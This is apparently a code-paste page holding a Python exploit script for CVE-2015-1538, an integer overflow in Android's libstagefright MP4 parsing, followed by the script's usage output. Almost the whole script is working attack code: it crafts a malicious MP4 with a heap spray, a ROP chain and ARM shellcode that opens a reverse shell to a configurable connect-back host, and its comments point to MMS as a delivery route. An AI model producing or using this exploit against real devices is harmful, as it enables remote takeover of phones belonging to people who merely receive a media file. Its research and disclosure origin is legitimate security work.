fork download
  1. #!/usr/bin/env python
  2. # Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
  3. # Shout outs to our friends at Optiv (formerly Accuvant Labs)
  4. # (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
  5. # www.zimperium.com
  6. #
  7. # Exploit for RCE Vulnerability CVE-2015-1538 #1
  8. # Integer Overflow in the libstagefright MP4 'stsc' atom handling
  9. #
  10. # Don't forget, the output of "create_mp4" can be delivered many ways!
  11. # MMS is the most dangerous attack vector, but not the only one...
  12. #
  13. # DISCLAIMER: This exploit is for testing and educational purposes only. Any
  14. # other usage for this code is not allowed. Use at your own risk.
  15. #
  16. # "With great power comes great responsibility." - Uncle Ben
  17. #
  18.  
  19. import struct
  20. import socket
  21.  
  22.  
  23. #
  24. # Creates a single MP4 atom - LEN, TAG, DATA
  25. #
  26. def make_chunk(tag, data):
  27. if len(tag) != 4:
  28. raise 'Yo! They call it "FourCC" for a reason.'
  29. ret = struct.pack('>L', len(data) + 8)
  30. ret += tag
  31. ret += data
  32. return ret
  33.  
  34.  
  35. #
  36. # Make an 'stco' atom - Sample Table Chunk Offets
  37. #
  38. def make_stco(extra=''):
  39. ret = struct.pack('>L', 0) # version
  40. ret += struct.pack('>L', 0) # mNumChunkOffsets
  41. return make_chunk('stco', ret+extra)
  42.  
  43. #
  44. # Make an 'stsz' atom - Sample Table Size
  45. #
  46. def make_stsz(extra=''):
  47. ret = struct.pack('>L', 0) # version
  48. ret += struct.pack('>L', 0) # mDefaultSampleSize
  49. ret += struct.pack('>L', 0) # mNumSampleSizes
  50. return make_chunk('stsz', ret+extra)
  51.  
  52. #
  53. # Make an 'stts' atom - Sample Table Time-to-Sample
  54. #
  55. def make_stts():
  56. ret = struct.pack('>L', 0) # version
  57. ret += struct.pack('>L', 0) # mTimeToSampleCount
  58. return make_chunk('stts', ret)
  59.  
  60.  
  61. #
  62. # This creates a single Sample Table Sample-to-Chunk entry
  63. #
  64. def make_stsc_entry(start, per, desc):
  65. ret = ''
  66. ret += struct.pack('>L', start + 1)
  67. ret += struct.pack('>L', per)
  68. ret += struct.pack('>L', desc)
  69. return ret
  70.  
  71. #
  72. # Make an 'stsc' chunk - Sample Table Sample-to-Chunk
  73. #
  74. # If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
  75. # cause a heap overflow.
  76. #
  77. def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
  78. ret = struct.pack('>L', 0) # version/flags
  79.  
  80. # this is the clean version...
  81. if not do_overflow:
  82. ret += struct.pack('>L', num_alloc) # mNumSampleToChunkOffsets
  83. ret += 'Z' * (12 * num_alloc)
  84. return make_chunk('stsc', ret)
  85.  
  86. # now the explicit version. (trigger the bug)
  87. ret += struct.pack('>L', 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets
  88.  
  89. # fill in the entries that will overflow the buffer
  90. for x in range(0, num_write):
  91. ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)
  92.  
  93. ret = make_chunk('stsc', ret)
  94.  
  95. # patch the data_size
  96. ret = struct.pack('>L', 8 + 8 + (num_alloc * 12)) + ret[4:]
  97.  
  98. return ret
  99.  
  100. #
  101. # Build the ROP chain
  102. #
  103. # ROP pivot by Georg Wicherski! Thanks!
  104. #
  105. """
  106. (gdb) x/10i __dl_restore_core_regs
  107. 0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34
  108. 0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5}
  109. 0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5}
  110. 0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
  111. 0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc}
  112. """
  113.  
  114. """
  115. b0001144 <__dl_mprotect>:
  116. b0001144: e92d0090 push {r4, r7}
  117. b0001148: e3a0707d mov r7, #125 ; 0x7d
  118. b000114c: ef000000 svc 0x00000000
  119. b0001150: e8bd0090 pop {r4, r7}
  120. b0001154: e1b00000 movs r0, r0
  121. b0001158: 512fff1e bxpl lr
  122. b000115c: ea0015cc b b0006894 <__dl_raise+0x10>
  123. """
  124.  
  125. def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
  126. rop = ''
  127. rop += struct.pack('<L', sp_addr + off + 0x10) # new sp
  128. rop += struct.pack('<L', 0xb0002a98) # new lr - pop {pc}
  129. rop += struct.pack('<L', 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc}
  130.  
  131. rop += struct.pack('<L', sp_addr & 0xfffff000) # new r0 - base address (page aligned)
  132. rop += struct.pack('<L', 0x1000) # new r1 - length
  133. rop += struct.pack('<L', 7) # new r2 - protection
  134. rop += struct.pack('<L', 0xd000d003) # new r3 - scratch
  135. rop += struct.pack('<L', 0xd000d004) # new r4 - scratch
  136. rop += struct.pack('<L', 0xb0001144) # new pc - _dl_mprotect
  137.  
  138. native_start = sp_addr + 0x80
  139. rop += struct.pack('<L', native_start) # address of native payload
  140. #rop += struct.pack('<L', 0xfeedfed5) # top of stack...
  141. # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
  142. buf = ''
  143. # fork
  144. buf += '\x02\x70\xa0\xe3'
  145. buf += '\x00\x00\x00\xef'
  146. # continue if not parent...
  147. buf += '\x00\x00\x50\xe3'
  148. buf += '\x02\x00\x00\x0a'
  149. # exit parent
  150. buf += '\x00\x00\xa0\xe3'
  151. buf += '\x01\x70\xa0\xe3'
  152. buf += '\x00\x00\x00\xef'
  153. # setsid in child
  154. buf += '\x42\x70\xa0\xe3'
  155. buf += '\x00\x00\x00\xef'
  156. # socket/connect/dup2/dup2/dup2
  157. buf += '\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c'
  158. buf += '\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60'
  159. buf += '\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0'
  160. buf += '\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1'
  161. buf += '\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06'
  162. buf += '\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00'
  163. buf += '\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0'
  164. buf += '\xe3\x00\x00\x00\xef'
  165. # execve(shell, argv, env)
  166. buf += '\x30\x00\x8f\xe2\x04\x40\x24\xe0'
  167. buf += '\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d'
  168. buf += '\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00'
  169. buf += '\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00'
  170. buf += '\xef\x02\x00'
  171. # Add the connect back host/port
  172. buf += struct.pack('!H', cb_port)
  173. cb_host = socket.inet_aton(cb_host)
  174. buf += struct.pack('=4s', cb_host)
  175. # shell -
  176. buf += '/system/bin/sh\x00\x00'
  177. # argv -
  178. buf += 'sh\x00\x00'
  179. # env -
  180. buf += 'PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00'
  181.  
  182. # Add some identifiable stuff, just in case something goes awry...
  183. rop_start_off = 0x34
  184. x = rop_start_off + len(rop)
  185. while len(rop) < 0x80 - rop_start_off:
  186. rop += struct.pack('<L', 0xf0f00000+x)
  187. x += 4
  188.  
  189. # Add the native payload...
  190. rop += buf
  191.  
  192. return rop
  193.  
  194. #
  195. # Build an mp4 that exploits CVE-2015-1538 #1
  196. #
  197. # We mimic meow.3gp here...
  198. #
  199. def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
  200. chunks = []
  201.  
  202. # Build the MP4 header...
  203. ftyp = 'mp42'
  204. ftyp += struct.pack('>L', 0)
  205. ftyp += 'mp42'
  206. ftyp += 'isom'
  207. chunks.append(make_chunk('ftyp', ftyp))
  208.  
  209. # Note, this causes a few allocations...
  210. moov_data = ''
  211. moov_data += make_chunk('mvhd',
  212. struct.pack('>LL', 0, 0x41414141) +
  213. ('B' * 0x5c) )
  214.  
  215. # Add a minimal, verified trak to satisfy mLastTrack being set
  216. moov_data += make_chunk('trak',
  217. make_chunk('stbl',
  218. make_stsc(0x28, 0x28) +
  219. make_stco() +
  220. make_stsz() +
  221. make_stts() ))
  222.  
  223. # Spray the heap using a large tx3g chunk (can contain binary data!)
  224. """
  225. 0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs
  226. 0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0
  227. 0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1
  228. 0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4
  229. 0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement
  230. 0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1
  231. 0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
  232. 0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase
  233. 0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr
  234. 0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address
  235. 0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6
  236. 0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it!
  237. """
  238. page = ''
  239. off = 0 # the offset to the next object
  240. off += 8
  241. page += struct.pack('<L', sp_addr + 8 + 16 + 8 + 12 - 28) # _vptr.RefBase (for when we smash mDataSource)
  242. page += struct.pack('<L', sp_addr + off) # mRefs
  243. off += 16
  244. page += struct.pack('<L', 1) # mStrong
  245. page += struct.pack('<L', 0xc0dedbad) # mWeak
  246. page += struct.pack('<L', sp_addr + off) # mBase
  247. page += struct.pack('<L', 16) # mFlags (dont set OBJECT_LIFETIME_MASK)
  248. off += 8
  249. page += struct.pack('<L', sp_addr + off) # the mBase _vptr.RefBase
  250. page += struct.pack('<L', 0xf00dbabe) # mBase.mRefs (unused)
  251. off += 16
  252. page += struct.pack('<L', 0xc0de0000 + 0x00) # vtable entry 0
  253. page += struct.pack('<L', 0xc0de0000 + 0x04) # vtable entry 4
  254. page += struct.pack('<L', 0xc0de0000 + 0x08) # vtable entry 8
  255. page += struct.pack('<L', newpc_val) # vtable entry 12
  256. rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
  257. x = len(page)
  258. while len(page) < 4096:
  259. page += struct.pack('<L', 0xf0f00000+x)
  260. x += 4
  261.  
  262. off = 0x34
  263. page = page[:off] + rop + page[off+len(rop):]
  264. spray = page * (((2*1024*1024) / len(page)) - 20)
  265. moov_data += make_chunk('tx3g', spray)
  266. block = 'A' * 0x1c
  267. bigger = 'B' * 0x40
  268. udta = make_chunk('udta',
  269. make_chunk('meta',
  270. struct.pack('>L', 0) +
  271. make_chunk('ilst',
  272. make_chunk('cpil', make_chunk('data', struct.pack('>LL', 21, 0) + 'A')) +
  273. make_chunk('trkn', make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABBBB')) +
  274. make_chunk('disk', make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABB')) +
  275. make_chunk('covr', make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
  276. make_chunk('\xa9alb', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  277. make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  278. make_chunk('aART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  279. make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  280. make_chunk('\xa9nam', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  281. make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  282. make_chunk('gnre', make_chunk('data', struct.pack('>LL', 1, 0) + block)) +
  283. make_chunk('covr', make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
  284. make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
  285. make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
  286. make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)))
  287. )
  288. )
  289. moov_data += udta
  290.  
  291. # Make the nasty trak
  292. tkhd1 = ''.join([
  293. '\x00', # version
  294. 'D' * 3, # padding
  295. 'E' * (5*4), # {c,m}time, id, ??, duration
  296. 'F' * 0x10, # ??
  297. struct.pack('>LLLLLL',
  298. 0x10000, # a00
  299. 0, # a01
  300. 0, # dx
  301. 0, # a10
  302. 0x10000, # a11
  303. 0), # dy
  304. 'G' * 0x14
  305. ])
  306.  
  307. trak1 = ''
  308. trak1 += make_chunk('tkhd', tkhd1)
  309.  
  310. mdhd1 = ''.join([
  311. '\x00', # version
  312. 'D' * 0x17, # padding
  313. ])
  314.  
  315. mdia1 = ''
  316. mdia1 += make_chunk('mdhd', mdhd1)
  317. mdia1 += make_chunk('hdlr', 'F' * 0x3a)
  318.  
  319. dinf1 = ''
  320. dinf1 += make_chunk('dref', 'H' * 0x14)
  321.  
  322. minf1 = ''
  323. minf1 += make_chunk('smhd', 'G' * 0x08)
  324. minf1 += make_chunk('dinf', dinf1)
  325.  
  326. # Build the nasty sample table to trigger the vulnerability here.
  327. stbl1 = make_stsc(3, (0x1200 / 0xc) - 1, sp_addr, True) # TRIGGER
  328.  
  329. # Add the stbl to the minf chunk
  330. minf1 += make_chunk('stbl', stbl1)
  331.  
  332. # Add the minf to the mdia chunk
  333. mdia1 += make_chunk('minf', minf1)
  334.  
  335. # Add the mdia to the track
  336. trak1 += make_chunk('mdia', mdia1)
  337.  
  338. # Add the nasty track to the moov data
  339. moov_data += make_chunk('trak', trak1)
  340.  
  341. # Finalize the moov chunk
  342. moov = make_chunk('moov', moov_data)
  343. chunks.append(moov)
  344.  
  345. # Combine outer chunks together and voila.
  346. data = ''.join(chunks)
  347.  
  348. return data
  349.  
  350. if __name__ == '__main__':
  351. import sys
  352.  
  353. import argparse
  354.  
  355. def write_file(path, content):
  356. with open(path, 'wb') as f:
  357. f.write(content)
  358.  
  359. def addr(sval):
  360. if sval.startswith('0x'):
  361. return int(sval, 16)
  362. return int(sval)
  363.  
  364. # The address of a fake StrongPointer object (sprayed)
  365. sp_addr = 0x41d00010 # takju @ imm76i - 2MB (via hangouts)
  366.  
  367. # The address to of our ROP pivot
  368. newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs
  369.  
  370. # Allow the user to override parameters
  371. parser = argparse.ArgumentParser()
  372. parser.add_argument('-c', '--connectback-host', dest='cbhost', default='31.3.3.7')
  373. parser.add_argument('-p', '--connectback-port', dest='cbport', type=int, default=12345)
  374. parser.add_argument('-s', '--spray-address', dest='spray_addr', type=addr, default=None)
  375. parser.add_argument('-r', '--rop-pivot', dest='rop_pivot', type=addr, default=None)
  376. parser.add_argument('-o', '--output-file', dest='output_file', default='cve-2015-1538-1.mp4')
  377. args = parser.parse_args()
  378.  
  379. if len(sys.argv) == 1:
  380. parser.print_help()
  381. sys.exit(-1)
  382.  
  383. if args.spray_addr == None:
  384. args.spray_addr = sp_addr
  385. if args.rop_pivot == None:
  386. args.rop_pivot = newpc_val
  387.  
  388. # Build the MP4 file...
  389. data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
  390. print('[*] Saving crafted MP4 to %s ...' % args.output_file)
  391. write_file(args.output_file, data)
  392.  
Runtime error #stdin #stdout 0.04s 12680KB
stdin
Standard input is empty
stdout
usage: prog [-h] [-c CBHOST] [-p CBPORT] [-s SPRAY_ADDR] [-r ROP_PIVOT]
            [-o OUTPUT_FILE]

optional arguments:
  -h, --help            show this help message and exit
  -c CBHOST, --connectback-host CBHOST
  -p CBPORT, --connectback-port CBPORT
  -s SPRAY_ADDR, --spray-address SPRAY_ADDR
  -r ROP_PIVOT, --rop-pivot ROP_PIVOT
  -o OUTPUT_FILE, --output-file OUTPUT_FILE